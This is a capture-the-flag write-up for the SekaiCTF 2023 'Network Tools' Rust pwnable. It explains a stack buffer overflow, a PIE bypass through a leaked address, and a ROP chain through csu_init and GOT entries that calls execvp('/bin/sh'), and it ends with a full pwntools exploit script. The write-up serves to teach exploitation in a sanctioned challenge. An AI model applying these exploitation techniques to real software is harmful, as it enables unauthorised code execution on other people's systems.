SekaiCTF 2023 ‑ Network Tools

Network Tools was a fun, easy level pwnable written in Rust and the source code was given to us.

Finding the vulnerability was quite easy, however the exploitation took me and my team two whole days, only to receive 100 points for it :P

We took the craziest route ever which I will document in the greatest detail, I hope you'll find this as interesting/entertaining as we did and learn from our journey!

Jump to solution


Network analysis is essential these days. That’s why I created this toolbox for multi-purpose analysis!

This binary allows you to do some network actions like ip lookups, ping, and traceroute. For some of these it would execute a shell command but your input gets parsed correctly so it wasn't vulnerable.

One function stood out to us for having a classic error, see if you can spot it!

Find the vuln

fn read(arr: &mut[u8], size: isize) -> isize{
    let arr_ptr = &mut arr[0] as *mut u8;
    let mut count = 0;
    unsafe{
        let mut input: [u8;1] = [0;1];
        for i in 0..size {
            io::stdin().read_exact(&mut input).expect("msg");
            if input[0] == 0xa {
                break;
            }
            *arr_ptr.offset(i) = input[0];
        }

        while *arr_ptr.offset(count) != 0{
            count+=1;
        }
    }
    count
}

fn ip_lookup(){
    let mut input: [u8; 400] = [0; 400];

    print!("Hostname: ");
    io::stdout().flush().unwrap();
    let size = read(&mut input, 0x400);
    let (hostname, _) = input.split_at(size as usize);
    let hostname = str::from_utf8(hostname).expect("msg").to_string();

    match lookup_host(hostname.trim()) {
        Ok(ip) => println!("{:?}", ip),
        _ => println!("Invalid domain name!")
    }
}

Inside ip_lookup, it looks like the author of this code meant to read in 400 bytes instead of 0x400, which is way larger than what the input can take. This is an easy buffer overflow.

We've successfully crashed the program, but we see a Rust panic error, not what we expected. Did we actually achieve what we wanted?

This is where gdb comes in handy. I know ChatGPT could figure this out too, but we can also step through the program to figure out exactly why it crashed.

Analyzing the crash with GDB

The binary comes with debug symbols enabled, that means I can set breakpoints on the source code itself.

I set one right before it crashes.

$ gdb ./nettools
gef➤ break main.rs:90

When the breakpoint hits, you can see that we corrupted the saved return pointer

gef➤ run
3
AAAAAAAAA[...]
──────────────────────────────────────────────────────────────
     89      let size = read(&mut input, 0x400);
                      // size=0x401, input=0x007fffffffce30  →  "AAAA[...]"
●→   90      let (hostname, _) = input.split_at(size as usize);
──────────────────────────────────────────────────────────────
gef➤  info frame
Stack level 0, frame at 0x7fffffffd120:
 rip = 0x555555561546 in nettools::ip_lookup; saved rip = 0x4141414141414141
Saved registers:
  rip at 0x7fffffffd118  
The saved return pointer is corrupted, but in order to control execution flow, we must hit a return statement. This is not the case as we'll see next.

To see how many bytes it took to corrupt it:

gef➤  print /d  0x7fffffffd118 - input
$1 = 744

We will use this later during exploitation.

Execute next line of code:

gef➤  next
─────────────────threads─────────────────────────────────────
[#0] Id 1, Name: "nettools", stopped 0x7ffff7f94c1e in ?? (), reason: SIGSEGV
──────────────── trace ───────────────────────────────────────
[#9] 0x55555556535d → core::slice::{impl#0}::split_at(self=&[u8] {
  data_ptr: 0x7fffffffce30,
  length: 0x190>
}, mid=0x356)>

let (hostname, _) = input.split_at(size as usize);

It tries to extract the hostname by splitting our input. We see that mid=0x356 and length: 0x190, meaning that the midpoint was bigger than the 400 byte array it's working with.

To fix this, you add a null byte at the beginning. This is because strings are referenced by a pointer to its first character, and they end with a null terminator.

The custom read() implementation in main.rs will keep writing data after the null byte, but Rust's string functions will ignore everything after it.

Now we can overflow as much as we want without the mid of the string being larger than 400.

from pwn import *
    
io = gdb.debug('./nettools')

payload = b"asdf\x00" + b"A" * 800

io.sendlineafter(b'> ', b'3')
io.sendlineafter(b"Hostname:", payload)

io.interactive()
$ python3 solve.py
[*] Switching to interactive mode
Invalid domain name!


→ 0x564550405885 ret [#0] Id 1, Name: "nettools", stopped 0x564550405885 in ip_lookup (), reason: SIGSEGV

And now we have a crash at the return statement!

When a function returns, it takes the saved return address from the stack, which we overwrote, and continues execution from there. We just told it to continue executing at 0x4141414141414141 which doesn't contain executable code so it crashed.

Checking the binary protections

Before we move on to exploitation, we need to run the checksec command, as it will tell us which protections are enabled on this binary, which will decide our exploit strategy.

$ checksec ./nettools
[*] './nettools'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
Protection Meaning
Full RELRO GOT is read-only (explained later)
Canary A canary protects against buffer overflows by making sure a randomly generated constant value was not modified during execution, and crashing if it's different. We don't need to look into this as it's disabled
NX Non-executable stack - if this is on, we can't execute custom shellcode on the stack
PIE Position Independent Executable - if this is on, the different regions in memory like stack and heap are randomly placed in memory. We almost always need to know where these regions are in order to do something useful

If we can't use shellcode, our next strategy would be to use Return Oriented Programming (ROP).

Return Oriented Programming

The idea of ROP is to execute tiny pieces of instructions that are already present in the code region and chaining those pieces together into something much more useful, like spawning a shell.

But what if PIE is enabled and we don't know where the code is?

Getting around PIE/ASLR

Position Independent Executable (PIE) or Address Space Layout Randomization (ASLR) are two very similar mitigations that prevent you from knowing the addresses of regions in memory. Instead of static addresses, everything is relative to the regions base address and in order to calculate that we would need an address leak.

This binary was nice enough to provide us with one.

Opss! Something is leaked: 0x556f1d68f03c

To find out which region of memory this address belongs to, we look at the memory mappings with gdb.

gef➤  run
Opss! Something is leaked: 0x5555555ce03c
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555554000 0x0055555555d000 0x00000000000000 r-- /home/user/nettools
0x0055555555d000 0x005555555b4000 0x00000000009000 r-x /home/user/nettools
0x005555555b4000 0x005555555c9000 0x00000000060000 r-- /home/user/nettools
0x005555555c9000 0x005555555ce000 0x00000000074000 r-- /home/user/nettools
0x005555555ce000 0x005555555cf000 0x00000000079000 rw- /home/user/nettools
0x005555555cf000 0x005555555f0000 0x00000000000000 rw- [heap]
0x007ffff7d4b000 0x007ffff7d4d000 0x00000000000000 rw-
...
By default, GDB disables the PIE protection to make it easier for us to predict what region an address might be in. Once you run it for real, these regions are randomized.

Looks like it belongs to the nettools binary region. Using the leak, we can calculate how far it is from the base: just subtract the base from the leak 0x5555555ce03c

gef➤  print 0x5555555ce03c - 0x00555555554000 
$1 = 0x7a03c

The base of the program is 0x7a03c away from the leak we have.

With this information, we can easily calculate all addresses in the program's memory region.

io.recvuntil(b'leaked: ')
leak = int(io.recvline().strip(), 16)
print(f'leak: {hex(leak)}')

base = leak - 0x7a03c
print(f'base: {hex(base)}')

rip = 744 # amount of bytes to overwrite rip

Finding useful gadgets

We'll be using ROP to chain together tiny pieces of existing machine code - so called "gadgets" - to eventually spawn a shell.

The idea is pretty simple, you jump to some executable code in the program and return back to where you called it. You will see most gadgets ending in a ret instruction for that reason.

Ideally, you want to set up your registers in a way where you can call functions like system with the arguments you need.

What functions do we call?

Looking at our binary in a disassembler, we notice there is a function called execvp

This will allow us to get a shell if we pass the correct arguments, like execvp("/bin/sh", [NULL])

In x86_64 architecture, the first argument goes in the rdi register, then it's rsi,rdx,r10,r8,r9 if you need more.

So how do you get a pointer to the string /bin/sh in rdi?

Writing strings to known addresses

Usually, my go-to approach is to jump to read and reading in the string from stdin to a writable memory region called bss.

elf = ELF('./nettools')
elf.address = base

# read(0, bss, 100)
rop = ROP(elf)
rop.rdi = 0 # stdin
rop.rsi = elf.bss() # destination (known address)
rop.rdx = 100 # length
rop.call('read')

rip = 744
payload = flat({
    0: b"asdf\x00",
    rip: rop.chain()  # execute read()
})
$ python3 solve.py
[ERROR] Could not satisfy setRegisters({'rdx': 7})

The first problem we face is that there is no gadget for directly setting the third argument rdx.

Let's find a way around this. Using ROPgadget you can find more gadgets.

$ ROPgadget --bin ./nettools | grep -E ": mov .dx, ... ; ret"
0x000000000005f1b6 : mov edx, ebx ; ret

What if we set rbx and then move it into edx (lower 32 bits of rdx) ?

mov_edx_ebx = base + 0x05f1b6

# read(0, bss, 100)
rop = ROP(elf)
rop.rdi = 0
rop.rsi = elf.bss()
rop.rbx = 100
rop.raw(mov_edx_ebx)
rop.call('read')
$ python3 solve.py GDB
$rdx   : 0x8
$rip   : 0x00555b0dad58a8  →  0x007f43a8f82980

[#0] Id 1, Name: "nettools", stopped 0x555b0dad58a8 in ?? (), reason: SIGSEGV

Yeah, that worked. But what the hell happened there at rip ? Why is it pointing to an address instead of code?

It's an address from the Global Offset Table (GOT).

What does this mean you ask? The answer is 11 hours of depression.

Procedure Linkage Table vs Global Offset Table

A Procedure Linkage Table (PLT) is used to call external functions with unknown addresses.

These functions reference the Global Offset Table (GOT), which contains these addresses once they get resolved.

read@plt GOT
jmp read@got
read
<addr>

Only the left one will execute read, meaning that we want to jump there instead of the GOT.

But in this case, we have very little functions inside the PLT

plt

Solving the assembly puzzle

When me and my teammate were trying every technique we could think of, we found gadgets like these:

call qword ptr [rax]

In english, computer sees the value in rax as an address and the brackets will get the thing stored at that address:

[0x123]
0x1337
rax
0x123
[rax]
0x1337

So if that gadget is calling (or jumping to) [rax], we set rax to a GOT entry (eg. read) and it will jump to whatever it points to, allowing us to finally execute read.

Leaking libc (huge mistake)

Instead of somehow calling execvp("/bin/sh", [0]), we decide to leak libc in order to execute a "one-gadget", which is a gadget (commonly found in libc) that gives you shell in only one jump.

mov_edx_ebx = base + 0x05f1b6
call_rax = base + 0x1f3b2

# got.write(stdout, got.write, 8)
rop = ROP(elf)
rop.rdi = 1  #stdout
rop.rsi = elf.got['write']
rop.rbx = 8
rop.raw(mov_edx_ebx)
rop.rax = elf.got['write']
rop.raw(call_rax)

Leaks the address of write

We need to leak one to three functions from the GOT on the remote to determine the correct version of libc it's using.

I submitted the leaked addresses on libc.rip, only to find out that this database does not contain the one we're looking for.

libc.rip

Next, I looked at the other challenges by the same author, in the hope that one of them had the right one. This also led to no results.

It's 4 hours until the competition ends, and my teammate notices that I happen to have the same libc addresses as the remote. I get super excited as I'm trying to send it to him, but tragedy occured.

literally unplayable.

Do not try this at home. If you move the libc using the mv command, it will move the file, but libc will be gone when it tries to move the contents and your machine will break.

Let's call execvp then

In our GOT we have read and execvp which is enough to manually spawn a shell.

All we do is:

and we call execvpe("/bin/sh", [NULL])

writing /bin/sh

# got.read(stdin, elf.bss(), 100)
rop = ROP(elf)
rop.rdi = 0 # stdin
rop.rsi = elf.bss()
rop.rbx = 100
rop.raw(mov_edx_ebx)
rop.rax = elf.got['read']
rop.raw(call_rax)

Will read from stdin where you pass /bin/sh

However, there is one problem with our call [rax] gadget. It's that there is no ret instruction after it, so it will keep executing what's after that. This prevents us from calling execvp next.

csu_init

There is a function called csu_init that contains a similar call instruction. What makes this one better is that it has a ret instruction very close to it.

If we set rbx to 0 it essentially becomes call [r15] where we can reference a GOT function.

There are two things to keep in mind:

  1. If rbp != rbx + 1, it will follow the jne (jump not equal) and we will not return.
  2. It has 7 pop instructions, which removes 56 bytes from the stack (where our ropchain is), so we add 56 bytes of junk.
call_r15 = base + 0x5f359

def rop(call, rdi=0, rsi=0, rdx=0):
    rop = ROP(elf)
    rop.rdi = rdi
    rop.rsi = rsi
    rop.rbx = rdx
    rop.raw(mov_edx_ebx)
    rop.r15 = call
    rop.rbx = 0
    rop.rbp = 1 # prevent jump
    rop.raw(call_r15)
    rop.raw(b"B" * 56) # junk

    return rop.chain()
    
# got.read(stdin, elf.bss(), 100)
ropchain = rop(rdi=0, rsi=elf.bss(), rdx=100, call=elf.got["read"])

excecvp

For this function, the second argument has to be an array. Arrays are like strings, you need to pass a pointer to it's first element. NULL is also a pointer (null-pointer) which points to 0.

For convenience, we'll write these pointers in the bss after /bin/sh in the same read call. So instead of /bin/sh, we send:

b"/bin/sh\x00" + p64(elf.bss() + 16) + p64(0)

At bss + 8, we put a pointer to bss + 16 which is equivalent to a NULL. Therefore, bss + 8 is an array pointing to a null-pointer.

# got.execvp("/bin/sh", [null])
ropchain += rop(rdi=elf.bss(), rsi=elf.bss() + 8, call=elf.got["execvp"])

The final solution

from pwn import *

gdbscript ="""
continue
"""
context.arch = 'amd64'
context.log_level = 'info'
context.terminal = ['tmux', 'splitw', '-h']

if args.REMOTE:
    io = remote('chals.sekai.team', 4001)
elif args.GDB:
    io = gdb.debug('./nettools', gdbscript=gdbscript)
else:
    io = process('./nettools')

io.recvuntil(b'leaked: ')
leak = int(io.recvline().strip(), 16)
print(f'leak: {hex(leak)}')

rip = 744

base = leak - 0x7a03c
print(f'base: {hex(base)}')

elf = ELF('./nettools')
elf.address = base

mov_edx_ebx = base + 0x05f1b6
call_r15 = base + 0x5f359

def rop(call, rdi=0, rsi=0, rdx=0):
    rop = ROP(elf)
    rop.rdi = rdi
    rop.rsi = rsi
    rop.rbx = rdx
    rop.raw(mov_edx_ebx)
    rop.r15 = call
    rop.rbx = 0
    rop.rbp = 1 # prevent jump
    rop.raw(call_r15)
    rop.raw(b"B" * 56) # junk

    return rop.chain()
    
# got.read(stdin, elf.bss(), 100)
payload = rop(rdi=0, rsi=elf.bss(), rdx=100, call=elf.got["read"])
# got.execvp("/bin/sh", [null])
payload += rop(rdi=elf.bss(), rsi=elf.bss() + 8, call=elf.got["execvp"])

payload = flat({
    0: b"asdf\x00",
    rip: payload,
})

io.sendlineafter(b'>', b"3")
io.sendlineafter(b'Hostname: ', payload)

# all arguments for execvp in bss 
io.send(b"/bin/sh\x00" + p64(elf.bss() + 16) + p64(0))

io.interactive()

We win!